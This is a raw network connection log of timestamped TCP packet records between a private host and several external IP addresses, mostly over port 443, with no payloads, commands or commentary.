Oct 30, 2024 04:34:36.537883043 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.537895918 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.538187981 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.538244963 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.538306952 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.538547993 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.538577080 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.540283918 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.540349007 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.540435076 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.540572882 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.540617943 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.561122894 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.561150074 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:36.561218023 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.561671972 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.561706066 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:36.561764002 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.562223911 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.562253952 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:36.562359095 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:36.562386990 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:36.627932072 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.628051043 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.628127098 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.628143072 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639333963 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639375925 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639388084 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.639404058 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639450073 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.639458895 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639646053 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.639667034 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.639709949 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.643990040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:36.644052029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:36.794588089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:36.799870968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:36.997853041 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:36.997884989 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:36.998099089 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:36.998486996 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.998512030 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:36.998594999 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.998596907 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.998619080 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:36.998732090 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.998805046 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:36.998820066 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:36.998997927 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.999011993 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:36.999413013 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:36.999427080 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.072154045 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.072678089 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.072695017 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.073364973 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.073370934 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.160203934 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.160496950 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.160552979 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.160911083 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.162744999 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.162836075 CET	443	50998	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.202084064 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.204591990 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.204610109 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.205105066 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.205509901 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.205585003 CET	443	50999	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:37.207092047 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.207277060 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.207376957 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.207489014 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.207489014 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.207500935 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.207514048 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.210273027 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.210308075 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.210526943 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.210526943 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.210557938 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.214200974 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.214591026 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.214607000 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.217672110 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.217677116 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.231775045 CET	50998	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.241605043 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.242270947 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.242290020 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.242974997 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.242980957 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.287906885 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.288418055 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.288472891 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.288938046 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.288952112 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.295430899 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.296142101 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.296175957 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.296577930 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.296582937 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.343504906 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.343575001 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.343719959 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.343765974 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.344034910 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.344182968 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.344182968 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.344192982 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.344203949 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.346967936 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.347027063 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.347223043 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.347368002 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.347385883 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.373141050 CET	50999	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:37.382185936 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.382256031 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.382318020 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.382761002 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.382761955 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.382776022 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.382781029 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.388050079 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.388089895 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.388468981 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.388468981 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.388501883 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.419420004 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.419554949 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.419764996 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.419889927 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.419891119 CET	50996	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.419920921 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.419945955 CET	443	50996	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.423384905 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.423418999 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.423681974 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.423913956 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.423934937 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.428884983 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.429156065 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.429315090 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.429692030 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.429692030 CET	50997	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.429706097 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.429713964 CET	443	50997	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.433167934 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.433206081 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.434557915 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.436405897 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.436434984 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.579336882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:37.579550982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:37.731090069 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.731301069 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.731657028 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.731672049 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.731831074 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.731844902 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.733133078 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.733393908 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.733428955 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.733490944 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.734392881 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.734395027 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.734477043 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.734534979 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.734688044 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.734688997 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.734695911 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.734704018 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.737991095 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.738204002 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.738230944 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.739223003 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.739706993 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.740222931 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.740303993 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.740466118 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.787338018 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.870340109 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.870348930 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.870388985 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.870476007 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.870476007 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.870980024 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.874206066 CET	51000	443	192.168.2.6	152.195.19.97
Oct 30, 2024 04:34:37.874218941 CET	443	51000	152.195.19.97	192.168.2.6
Oct 30, 2024 04:34:37.938204050 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.963269949 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.966346025 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.966365099 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.967694044 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:37.967703104 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:37.980823040 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980850935 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980881929 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980914116 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.980918884 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980935097 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980952024 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.980967045 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.980967045 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.980976105 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981014013 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981026888 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981039047 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981051922 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981134892 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981589079 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981616974 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981631994 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981656075 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981657028 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981668949 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981683016 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981695890 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:37.981714010 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981714010 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981714010 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:37.981734037 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.096292973 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.096488953 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.096726894 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.096790075 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.098076105 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.098700047 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098723888 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098766088 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.098776102 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098786116 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.098795891 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098813057 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098843098 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.098844051 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.098881006 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.098881006 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.098889112 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.099278927 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.099297047 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.099337101 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.099350929 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.099364996 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.099370003 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.099421024 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.118808985 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.157938957 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.157938957 CET	51003	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.157962084 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.157972097 CET	443	51003	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.159311056 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.159346104 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.159399033 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.159796953 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.159811974 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.160043001 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.160072088 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.160402060 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.160408020 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.173171043 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.174194098 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.174206018 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.174618959 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.174624920 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.215850115 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215878010 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215898991 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215922117 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215922117 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.215943098 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215964079 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.215972900 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.215987921 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.216005087 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.216013908 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.216099024 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.216126919 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.216169119 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.216176987 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.216192961 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.221673965 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.231218100 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.285799026 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.285864115 CET	443	51005	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.285953999 CET	51005	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.287436008 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.287518024 CET	443	51004	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.287708998 CET	51004	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.304805040 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.304907084 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.305013895 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.305092096 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.308259010 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.308291912 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.309762001 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.309778929 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.310060978 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.310060978 CET	51007	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.310086012 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.310095072 CET	443	51007	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.333167076 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333199024 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333225965 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333250046 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333250999 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333270073 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333290100 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333304882 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333327055 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333333969 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333344936 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333786011 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333811045 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333851099 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333858013 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.333884001 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.333895922 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.334249973 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.334305048 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.334312916 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.334325075 CET	443	51002	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.334373951 CET	51002	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.439439058 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.439613104 CET	443	51006	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:38.439694881 CET	51006	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:38.450048923 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450073957 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450110912 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450118065 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.450125933 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450145006 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450160980 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.450165033 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450181961 CET	51001	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:38.450196981 CET	443	51001	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:38.450210094 CET	51001	443	192.168.2.6	13.107.246.57
